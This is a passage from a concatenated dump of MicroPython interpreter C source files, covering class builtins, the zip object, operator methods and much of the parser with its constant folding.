(!MP_OBJ_IS_TYPE(object, &mp_type_type)) { mp_raise_TypeError("issubclass() arg 1 must be a class"); } return mp_obj_is_subclass(object, classinfo); } MP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_issubclass_obj, mp_builtin_issubclass); STATIC mp_obj_t mp_builtin_isinstance(mp_obj_t object, mp_obj_t classinfo) { return mp_obj_is_subclass(MP_OBJ_FROM_PTR(mp_obj_get_type(object)), classinfo); } MP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_isinstance_obj, mp_builtin_isinstance); mp_obj_t mp_instance_cast_to_native_base(mp_const_obj_t self_in, mp_const_obj_t native_type) { mp_obj_type_t *self_type = mp_obj_get_type(self_in); if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(self_type), native_type)) { return MP_OBJ_NULL; } mp_obj_instance_t *self = (mp_obj_instance_t*)MP_OBJ_TO_PTR(self_in); return self->subobj[0]; } /******************************************************************************/ // staticmethod and classmethod types (probably should go in a different file) STATIC mp_obj_t static_class_method_make_new(const mp_obj_type_t *self, size_t n_args, size_t n_kw, const mp_obj_t *args) { assert(self == &mp_type_staticmethod || self == &mp_type_classmethod); mp_arg_check_num(n_args, n_kw, 1, 1, false); mp_obj_static_class_method_t *o = m_new_obj(mp_obj_static_class_method_t); *o = (mp_obj_static_class_method_t){{self}, args[0]}; return MP_OBJ_FROM_PTR(o); } const mp_obj_type_t mp_type_staticmethod = { { &mp_type_type }, .name = MP_QSTR_staticmethod, .make_new = static_class_method_make_new, }; const mp_obj_type_t mp_type_classmethod = { { &mp_type_type }, .name = MP_QSTR_classmethod, .make_new = static_class_method_make_new, }; ================================================ FILE: micropython/source/py/objzip.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/objtuple.h" #include "py/runtime.h" typedef struct _mp_obj_zip_t { mp_obj_base_t base; size_t n_iters; mp_obj_t iters[]; } mp_obj_zip_t; STATIC mp_obj_t zip_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 0, MP_OBJ_FUN_ARGS_MAX, false); mp_obj_zip_t *o = m_new_obj_var(mp_obj_zip_t, mp_obj_t, n_args); o->base.type = type; o->n_iters = n_args; for (size_t i = 0; i < n_args; i++) { o->iters[i] = mp_getiter(args[i], NULL); } return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t zip_iternext(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_zip)); mp_obj_zip_t *self = MP_OBJ_TO_PTR(self_in); if (self->n_iters == 0) { return MP_OBJ_STOP_ITERATION; } mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(mp_obj_new_tuple(self->n_iters, NULL)); for (size_t i = 0; i < self->n_iters; i++) { mp_obj_t next = mp_iternext(self->iters[i]); if (next == MP_OBJ_STOP_ITERATION) { mp_obj_tuple_del(MP_OBJ_FROM_PTR(tuple)); return MP_OBJ_STOP_ITERATION; } tuple->items[i] = next; } return MP_OBJ_FROM_PTR(tuple); } const mp_obj_type_t mp_type_zip = { { &mp_type_type }, .name = MP_QSTR_zip, .make_new = zip_make_new, .getiter = mp_identity_getiter, .iternext = zip_iternext, }; ================================================ FILE: micropython/source/py/opmethods.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime0.h" #include "py/builtin.h" STATIC mp_obj_t op_getitem(mp_obj_t self_in, mp_obj_t key_in) { mp_obj_type_t *type = mp_obj_get_type(self_in); return type->subscr(self_in, key_in, MP_OBJ_SENTINEL); } MP_DEFINE_CONST_FUN_OBJ_2(mp_op_getitem_obj, op_getitem); STATIC mp_obj_t op_setitem(mp_obj_t self_in, mp_obj_t key_in, mp_obj_t value_in) { mp_obj_type_t *type = mp_obj_get_type(self_in); return type->subscr(self_in, key_in, value_in); } MP_DEFINE_CONST_FUN_OBJ_3(mp_op_setitem_obj, op_setitem); STATIC mp_obj_t op_delitem(mp_obj_t self_in, mp_obj_t key_in) { mp_obj_type_t *type = mp_obj_get_type(self_in); return type->subscr(self_in, key_in, MP_OBJ_NULL); } MP_DEFINE_CONST_FUN_OBJ_2(mp_op_delitem_obj, op_delitem); STATIC mp_obj_t op_contains(mp_obj_t lhs_in, mp_obj_t rhs_in) { mp_obj_type_t *type = mp_obj_get_type(lhs_in); return type->binary_op(MP_BINARY_OP_IN, lhs_in, rhs_in); } MP_DEFINE_CONST_FUN_OBJ_2(mp_op_contains_obj, op_contains); ================================================ FILE: micropython/source/py/parse.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include // for ssize_t #include #include #include "py/nlr.h" #include "py/lexer.h" #include "py/parse.h" #include "py/parsenum.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/objint.h" #include "py/objstr.h" #include "py/builtin.h" #if MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER #define RULE_ACT_ARG_MASK (0x0f) #define RULE_ACT_KIND_MASK (0x30) #define RULE_ACT_ALLOW_IDENT (0x40) #define RULE_ACT_ADD_BLANK (0x80) #define RULE_ACT_OR (0x10) #define RULE_ACT_AND (0x20) #define RULE_ACT_LIST (0x30) #define RULE_ARG_KIND_MASK (0xf000) #define RULE_ARG_ARG_MASK (0x0fff) #define RULE_ARG_TOK (0x1000) #define RULE_ARG_RULE (0x2000) #define RULE_ARG_OPT_RULE (0x3000) // (un)comment to use rule names; for debugging //#define USE_RULE_NAME (1) typedef struct _rule_t { byte rule_id; byte act; #ifdef USE_RULE_NAME const char *rule_name; #endif uint16_t arg[]; } rule_t; enum { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) RULE_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC RULE_const_object, // special node for a constant, generic Python object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) RULE_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC }; #define or(n) (RULE_ACT_OR | n) #define and(n) (RULE_ACT_AND | n) #define and_ident(n) (RULE_ACT_AND | n | RULE_ACT_ALLOW_IDENT) #define and_blank(n) (RULE_ACT_AND | n | RULE_ACT_ADD_BLANK) #define one_or_more (RULE_ACT_LIST | 2) #define list (RULE_ACT_LIST | 1) #define list_with_end (RULE_ACT_LIST | 3) #define tok(t) (RULE_ARG_TOK | MP_TOKEN_##t) #define rule(r) (RULE_ARG_RULE | RULE_##r) #define opt_rule(r) (RULE_ARG_OPT_RULE | RULE_##r) #ifdef USE_RULE_NAME #define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } }; #define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } }; #else #define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } }; #define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } }; #endif #include "py/grammar.h" #undef or #undef and #undef list #undef list_with_end #undef tok #undef rule #undef opt_rule #undef one_or_more #undef DEF_RULE #undef DEF_RULE_NC STATIC const rule_t *const rules[] = { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) &rule_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC NULL, // RULE_const_object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) &rule_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC }; typedef struct _rule_stack_t { size_t src_line : 8 * sizeof(size_t) - 8; // maximum bits storing source line number size_t rule_id : 8; // this must be large enough to fit largest rule number size_t arg_i; // this dictates the maximum nodes in a "list" of things } rule_stack_t; typedef struct _mp_parse_chunk_t { size_t alloc; union { size_t used; struct _mp_parse_chunk_t *next; } union_; byte data[]; } mp_parse_chunk_t; typedef struct _parser_t { size_t rule_stack_alloc; size_t rule_stack_top; rule_stack_t *rule_stack; size_t result_stack_alloc; size_t result_stack_top; mp_parse_node_t *result_stack; mp_lexer_t *lexer; mp_parse_tree_t tree; mp_parse_chunk_t *cur_chunk; #if MICROPY_COMP_CONST mp_map_t consts; #endif } parser_t; STATIC void *parser_alloc(parser_t *parser, size_t num_bytes) { // use a custom memory allocator to store parse nodes sequentially in large chunks mp_parse_chunk_t *chunk = parser->cur_chunk; if (chunk != NULL && chunk->union_.used + num_bytes > chunk->alloc) { // not enough room at end of previously allocated chunk so try to grow mp_parse_chunk_t *new_data = (mp_parse_chunk_t*)m_renew_maybe(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc, sizeof(mp_parse_chunk_t) + chunk->alloc + num_bytes, false); if (new_data == NULL) { // could not grow existing memory; shrink it to fit previous (void)m_renew_maybe(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc, sizeof(mp_parse_chunk_t) + chunk->union_.used, false); chunk->alloc = chunk->union_.used; chunk->union_.next = parser->tree.chunk; parser->tree.chunk = chunk; chunk = NULL; } else { // could grow existing memory chunk->alloc += num_bytes; } } if (chunk == NULL) { // no previous chunk, allocate a new chunk size_t alloc = MICROPY_ALLOC_PARSE_CHUNK_INIT; if (alloc < num_bytes) { alloc = num_bytes; } chunk = (mp_parse_chunk_t*)m_new(byte, sizeof(mp_parse_chunk_t) + alloc); chunk->alloc = alloc; chunk->union_.used = 0; parser->cur_chunk = chunk; } byte *ret = chunk->data + chunk->union_.used; chunk->union_.used += num_bytes; return ret; } STATIC void push_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t arg_i) { if (parser->rule_stack_top >= parser->rule_stack_alloc) { rule_stack_t *rs = m_renew(rule_stack_t, parser->rule_stack, parser->rule_stack_alloc, parser->rule_stack_alloc + MICROPY_ALLOC_PARSE_RULE_INC); parser->rule_stack = rs; parser->rule_stack_alloc += MICROPY_ALLOC_PARSE_RULE_INC; } rule_stack_t *rs = &parser->rule_stack[parser->rule_stack_top++]; rs->src_line = src_line; rs->rule_id = rule->rule_id; rs->arg_i = arg_i; } STATIC void push_rule_from_arg(parser_t *parser, size_t arg) { assert((arg & RULE_ARG_KIND_MASK) == RULE_ARG_RULE || (arg & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE); size_t rule_id = arg & RULE_ARG_ARG_MASK; push_rule(parser, parser->lexer->tok_line, rules[rule_id], 0); } STATIC void pop_rule(parser_t *parser, const rule_t **rule, size_t *arg_i, size_t *src_line) { parser->rule_stack_top -= 1; *rule = rules[parser->rule_stack[parser->rule_stack_top].rule_id]; *arg_i = parser->rule_stack[parser->rule_stack_top].arg_i; *src_line = parser->rule_stack[parser->rule_stack_top].src_line; } bool mp_parse_node_is_const_false(mp_parse_node_t pn) { return MP_PARSE_NODE_IS_TOKEN_KIND(pn, MP_TOKEN_KW_FALSE) || (MP_PARSE_NODE_IS_SMALL_INT(pn) && MP_PARSE_NODE_LEAF_SMALL_INT(pn) == 0); } bool mp_parse_node_is_const_true(mp_parse_node_t pn) { return MP_PARSE_NODE_IS_TOKEN_KIND(pn, MP_TOKEN_KW_TRUE) || (MP_PARSE_NODE_IS_SMALL_INT(pn) && MP_PARSE_NODE_LEAF_SMALL_INT(pn) != 0); } bool mp_parse_node_get_int_maybe(mp_parse_node_t pn, mp_obj_t *o) { if (MP_PARSE_NODE_IS_SMALL_INT(pn)) { *o = MP_OBJ_NEW_SMALL_INT(MP_PARSE_NODE_LEAF_SMALL_INT(pn)); return true; } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, RULE_const_object)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D // nodes are 32-bit pointers, but need to extract 64-bit object *o = (uint64_t)pns->nodes[0] | ((uint64_t)pns->nodes[1] << 32); #else *o = (mp_obj_t)pns->nodes[0]; #endif return MP_OBJ_IS_INT(*o); } else { return false; } } int mp_parse_node_extract_list(mp_parse_node_t *pn, size_t pn_kind, mp_parse_node_t **nodes) { if (MP_PARSE_NODE_IS_NULL(*pn)) { *nodes = NULL; return 0; } else if (MP_PARSE_NODE_IS_LEAF(*pn)) { *nodes = pn; return 1; } else { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)(*pn); if (MP_PARSE_NODE_STRUCT_KIND(pns) != pn_kind) { *nodes = pn; return 1; } else { *nodes = pns->nodes; return MP_PARSE_NODE_STRUCT_NUM_NODES(pns); } } } #if MICROPY_DEBUG_PRINTERS void mp_parse_node_print(mp_parse_node_t pn, size_t indent) { if (MP_PARSE_NODE_IS_STRUCT(pn)) { printf("[% 4d] ", (int)((mp_parse_node_struct_t*)pn)->source_line); } else { printf(" "); } for (size_t i = 0; i < indent; i++) { printf(" "); } if (MP_PARSE_NODE_IS_NULL(pn)) { printf("NULL\n"); } else if (MP_PARSE_NODE_IS_SMALL_INT(pn)) { mp_int_t arg = MP_PARSE_NODE_LEAF_SMALL_INT(pn); printf("int(" INT_FMT ")\n", arg); } else if (MP_PARSE_NODE_IS_LEAF(pn)) { uintptr_t arg = MP_PARSE_NODE_LEAF_ARG(pn); switch (MP_PARSE_NODE_LEAF_KIND(pn)) { case MP_PARSE_NODE_ID: printf("id(%s)\n", qstr_str(arg)); break; case MP_PARSE_NODE_STRING: printf("str(%s)\n", qstr_str(arg)); break; case MP_PARSE_NODE_BYTES: printf("bytes(%s)\n", qstr_str(arg)); break; default: assert(MP_PARSE_NODE_LEAF_KIND(pn) == MP_PARSE_NODE_TOKEN); printf("tok(%u)\n", (uint)arg); break; } } else { // node must be a mp_parse_node_struct_t mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_STRUCT_KIND(pns) == RULE_const_object) { #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D printf("literal const(%016llx)\n", (uint64_t)pns->nodes[0] | ((uint64_t)pns->nodes[1] << 32)); #else printf("literal const(%p)\n", (mp_obj_t)pns->nodes[0]); #endif } else { size_t n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); #ifdef USE_RULE_NAME printf("%s(%u) (n=%u)\n", rules[MP_PARSE_NODE_STRUCT_KIND(pns)]->rule_name, (uint)MP_PARSE_NODE_STRUCT_KIND(pns), (uint)n); #else printf("rule(%u) (n=%u)\n", (uint)MP_PARSE_NODE_STRUCT_KIND(pns), (uint)n); #endif for (size_t i = 0; i < n; i++) { mp_parse_node_print(pns->nodes[i], indent + 2); } } } } #endif // MICROPY_DEBUG_PRINTERS /* STATIC void result_stack_show(parser_t *parser) { printf("result stack, most recent first\n"); for (ssize_t i = parser->result_stack_top - 1; i >= 0; i--) { mp_parse_node_print(parser->result_stack[i], 0); } } */ STATIC mp_parse_node_t pop_result(parser_t *parser) { assert(parser->result_stack_top > 0); return parser->result_stack[--parser->result_stack_top]; } STATIC mp_parse_node_t peek_result(parser_t *parser, size_t pos) { assert(parser->result_stack_top > pos); return parser->result_stack[parser->result_stack_top - 1 - pos]; } STATIC void push_result_node(parser_t *parser, mp_parse_node_t pn) { if (parser->result_stack_top >= parser->result_stack_alloc) { mp_parse_node_t *stack = m_renew(mp_parse_node_t, parser->result_stack, parser->result_stack_alloc, parser->result_stack_alloc + MICROPY_ALLOC_PARSE_RESULT_INC); parser->result_stack = stack; parser->result_stack_alloc += MICROPY_ALLOC_PARSE_RESULT_INC; } parser->result_stack[parser->result_stack_top++] = pn; } STATIC mp_parse_node_t make_node_const_object(parser_t *parser, size_t src_line, mp_obj_t obj) { mp_parse_node_struct_t *pn = parser_alloc(parser, sizeof(mp_parse_node_struct_t) + sizeof(mp_obj_t)); pn->source_line = src_line; #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D // nodes are 32-bit pointers, but need to store 64-bit object pn->kind_num_nodes = RULE_const_object | (2 << 8); pn->nodes[0] = (uint64_t)obj; pn->nodes[1] = (uint64_t)obj >> 32; #else pn->kind_num_nodes = RULE_const_object | (1 << 8); pn->nodes[0] = (uintptr_t)obj; #endif return (mp_parse_node_t)pn; } STATIC void push_result_token(parser_t *parser, const rule_t *rule) { mp_parse_node_t pn; mp_lexer_t *lex = parser->lexer; if (lex->tok_kind == MP_TOKEN_NAME) { qstr id = qstr_from_strn(lex->vstr.buf, lex->vstr.len); #if MICROPY_COMP_CONST // if name is a standalone identifier, look it up in the table of dynamic constants mp_map_elem_t *elem; if (rule->rule_id == RULE_atom && (elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP)) != NULL) { if (MP_OBJ_IS_SMALL_INT(elem->value)) { pn = mp_parse_node_new_small_int(MP_OBJ_SMALL_INT_VALUE(elem->value)); } else { pn = make_node_const_object(parser, lex->tok_line, elem->value); } } else { pn = mp_parse_node_new_leaf(MP_PARSE_NODE_ID, id); } #else (void)rule; pn = mp_parse_node_new_leaf(MP_PARSE_NODE_ID, id); #endif } else if (lex->tok_kind == MP_TOKEN_INTEGER) { mp_obj_t o = mp_parse_num_integer(lex->vstr.buf, lex->vstr.len, 0, lex); if (MP_OBJ_IS_SMALL_INT(o)) { pn = mp_parse_node_new_small_int(MP_OBJ_SMALL_INT_VALUE(o)); } else { pn = make_node_const_object(parser, lex->tok_line, o); } } else if (lex->tok_kind == MP_TOKEN_FLOAT_OR_IMAG) { mp_obj_t o = mp_parse_num_decimal(lex->vstr.buf, lex->vstr.len, true, false, lex); pn = make_node_const_object(parser, lex->tok_line, o); } else if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) { // Don't automatically intern all strings/bytes. doc strings (which are usually large) // will be discarded by the compiler, and so we shouldn't intern them. qstr qst = MP_QSTR_NULL; if (lex->vstr.len <= MICROPY_ALLOC_PARSE_INTERN_STRING_LEN) { // intern short strings qst = qstr_from_strn(lex->vstr.buf, lex->vstr.len); } else { // check if this string is already interned qst = qstr_find_strn(lex->vstr.buf, lex->vstr.len); } if (qst != MP_QSTR_NULL) { // qstr exists, make a leaf node pn = mp_parse_node_new_leaf(lex->tok_kind == MP_TOKEN_STRING ? MP_PARSE_NODE_STRING : MP_PARSE_NODE_BYTES, qst); } else { // not interned, make a node holding a pointer to the string/bytes object mp_obj_t o = mp_obj_new_str_of_type( lex->tok_kind == MP_TOKEN_STRING ? &mp_type_str : &mp_type_bytes, (const byte*)lex->vstr.buf, lex->vstr.len); pn = make_node_const_object(parser, lex->tok_line, o); } } else { pn = mp_parse_node_new_leaf(MP_PARSE_NODE_TOKEN, lex->tok_kind); } push_result_node(parser, pn); } #if MICROPY_COMP_MODULE_CONST STATIC const mp_rom_map_elem_t mp_constants_table[] = { #if MICROPY_PY_UERRNO { MP_ROM_QSTR(MP_QSTR_errno), MP_ROM_PTR(&mp_module_uerrno) }, #endif #if MICROPY_PY_UCTYPES { MP_ROM_QSTR(MP_QSTR_uctypes), MP_ROM_PTR(&mp_module_uctypes) }, #endif // Extra constants as defined by a port MICROPY_PORT_CONSTANTS }; STATIC MP_DEFINE_CONST_MAP(mp_constants_map, mp_constants_table); #endif STATIC void push_result_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t num_args); #if MICROPY_COMP_CONST_FOLDING STATIC bool fold_logical_constants(parser_t *parser, const rule_t *rule, size_t *num_args) { if (rule->rule_id == RULE_or_test || rule->rule_id == RULE_and_test) { // folding for binary logical ops: or and size_t copy_to = *num_args; for (size_t i = copy_to; i > 0;) { mp_parse_node_t pn = peek_result(parser, --i); parser->result_stack[parser->result_stack_top - copy_to] = pn; if (i == 0) { // always need to keep the last value break; } if (rule->rule_id == RULE_or_test) { if (mp_parse_node_is_const_true(pn)) { // break; } else if (!mp_parse_node_is_const_false(pn)) { copy_to -= 1; } } else { // RULE_and_test if (mp_parse_node_is_const_false(pn)) { break; } else if (!mp_parse_node_is_const_true(pn)) { copy_to -= 1; } } } copy_to -= 1; // copy_to now contains number of args to pop // pop and discard all the short-circuited expressions for (size_t i = 0; i < copy_to; ++i) { pop_result(parser); } *num_args -= copy_to; // we did a complete folding if there's only 1 arg left return *num_args == 1; } else if (rule->rule_id == RULE_not_test_2) { // folding for unary logical op: not mp_parse_node_t pn = peek_result(parser, 0); if (mp_parse_node_is_const_false(pn)) { pn = mp_parse_node_new_leaf(MP_PARSE_NODE_TOKEN, MP_TOKEN_KW_TRUE); } else if (mp_parse_node_is_const_true(pn)) { pn = mp_parse_node_new_leaf(MP_PARSE_NODE_TOKEN, MP_TOKEN_KW_FALSE); } else { return false; } pop_result(parser); push_result_node(parser, pn); return true; } return false; } STATIC bool fold_constants(parser_t *parser, const rule_t *rule, size_t num_args) { // this code does folding of arbitrary integer expressions, eg 1 + 2 * 3 + 4 // it does not do partial folding, eg 1 + 2 + x -> 3 + x mp_obj_t arg0; if (rule->rule_id == RULE_expr || rule->rule_id == RULE_xor_expr || rule->rule_id == RULE_and_expr) { // folding for binary ops: | ^ & mp_parse_node_t pn = peek_result(parser, num_args - 1); if (!mp_parse_node_get_int_maybe(pn, &arg0)) { return false; } mp_binary_op_t op; if (rule->rule_id == RULE_expr) { op = MP_BINARY_OP_OR; } else if (rule->rule_id == RULE_xor_expr) { op = MP_BINARY_OP_XOR; } else { op = MP_BINARY_OP_AND; } for (ssize_t i = num_args - 2; i >= 0; --i) { pn = peek_result(parser, i); mp_obj_t arg1; if (!mp_parse_node_get_int_maybe(pn, &arg1)) { return false; } arg0 = mp_binary_op(op, arg0, arg1); } } else if (rule->rule_id == RULE_shift_expr || rule->rule_id == RULE_arith_expr || rule->rule_id == RULE_term) { // folding for binary ops: << >> + - * / % // mp_parse_node_t pn = peek_result(parser, num_args - 1); if (!mp_parse_node_get_int_maybe(pn, &arg0)) { return false; } for (ssize_t i = num_args - 2; i >= 1; i -= 2) { pn = peek_result(parser, i - 1); mp_obj_t arg1; if (!mp_parse_node_get_int_maybe(pn, &arg1)) { return false; } mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(peek_result(parser, i)); static const uint8_t token_to_op[] = { MP_BINARY_OP_ADD, MP_BINARY_OP_SUBTRACT, MP_BINARY_OP_MULTIPLY, 255,//MP_BINARY_OP_POWER, 255,//MP_BINARY_OP_TRUE_DIVIDE, MP_BINARY_OP_FLOOR_DIVIDE, MP_BINARY_OP_MODULO, 255,//MP_BINARY_OP_LESS MP_BINARY_OP_LSHIFT, 255,//MP_BINARY_OP_MORE MP_BINARY_OP_RSHIFT, }; mp_binary_op_t op = token_to_op[tok - MP_TOKEN_OP_PLUS]; if (op == (mp_binary_op_t)255) { return false; } int rhs_sign = mp_obj_int_sign(arg1); if (op <= MP_BINARY_OP_RSHIFT) { // << and >> can't have negative rhs if (rhs_sign < 0) { return false; } } else if (op >= MP_BINARY_OP_FLOOR_DIVIDE) { // % and // can't have zero rhs if (rhs_sign == 0) { return false; } } arg0 = mp_binary_op(op, arg0, arg1); } } else if (rule->rule_id == RULE_factor_2) { // folding for unary ops: + - ~ mp_parse_node_t pn = peek_result(parser, 0); if (!mp_parse_node_get_int_maybe(pn, &arg0)) { return false; } mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(peek_result(parser, 1)); mp_unary_op_t op; if (tok == MP_TOKEN_OP_PLUS) { op = MP_UNARY_OP_POSITIVE; } else if (tok == MP_TOKEN_OP_MINUS) { op = MP_UNARY_OP_NEGATIVE; } else { assert(tok == MP_TOKEN_OP_TILDE); // should be op = MP_UNARY_OP_INVERT; } arg0 = mp_unary_op(op, arg0); #if MICROPY_COMP_CONST } else if (rule->rule_id == RULE_expr_stmt) { mp_parse_node_t pn1 = peek_result(parser, 0); if (!MP_PARSE_NODE_IS_NULL(pn1) && !(MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_augassign) || MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_assign_list))) { // this node is of the form = mp_parse_node_t pn0 = peek_result(parser, 1); if (MP_PARSE_NODE_IS_ID(pn0) && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_atom_expr_normal) && MP_PARSE_NODE_IS_ID(((mp_parse_node_struct_t*)pn1)->nodes[0]) && MP_PARSE_NODE_LEAF_ARG(((mp_parse_node_struct_t*)pn1)->nodes[0]) == MP_QSTR_const && MP_PARSE_NODE_IS_STRUCT_KIND(((mp_parse_node_struct_t*)pn1)->nodes[1], RULE_trailer_paren) ) { // code to assign dynamic constants: id = const(value) // get the id qstr id = MP_PARSE_NODE_LEAF_ARG(pn0); // get the value mp_parse_node_t pn_value = ((mp_parse_node_struct_t*)((mp_parse_node_struct_t*)pn1)->nodes[1])->nodes[0]; mp_obj_t value; if (!mp_parse_node_get_int_maybe(pn_value, &value)) { mp_obj_t exc = mp_obj_new_exception_msg(&mp_type_SyntaxError, "constant must be an integer"); mp_obj_exception_add_traceback(exc, parser->lexer->source_name, ((mp_parse_node_struct_t*)pn1)->source_line, MP_QSTR_NULL); nlr_raise(exc); } // store the value in the table of dynamic constants mp_map_elem_t *elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); assert(elem->value == MP_OBJ_NULL); elem->value = value; // If the constant starts with an underscore then treat it as a private // variable and don't emit any code to store the value to the id. if (qstr_str(id)[0] == '_') { pop_result(parser); // pop const(value) pop_result(parser); // pop id push_result_rule(parser, 0, rules[RULE_pass_stmt], 0); // replace with "pass" return true; } // replace const(value) with value pop_result(parser); push_result_node(parser, pn_value); // finished folding this assignment, but we still want it to be part of the tree return false; } } return false; #endif #if MICROPY_COMP_MODULE_CONST } else if (rule->rule_id == RULE_atom_expr_normal) { mp_parse_node_t pn0 = peek_result(parser, 1); mp_parse_node_t pn1 = peek_result(parser, 0); if (!(MP_PARSE_NODE_IS_ID(pn0) && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_trailer_period))) { return false; } // id1.id2 // look it up in constant table, see if it can be replaced with an integer mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pn1; assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0])); qstr q_base = MP_PARSE_NODE_LEAF_ARG(pn0); qstr q_attr = MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]); mp_map_elem_t *elem = mp_map_lookup((mp_map_t*)&mp_constants_map, MP_OBJ_NEW_QSTR(q_base), MP_MAP_LOOKUP); if (elem == NULL) { return false; } mp_obj_t dest[2]; mp_load_method_maybe(elem->value, 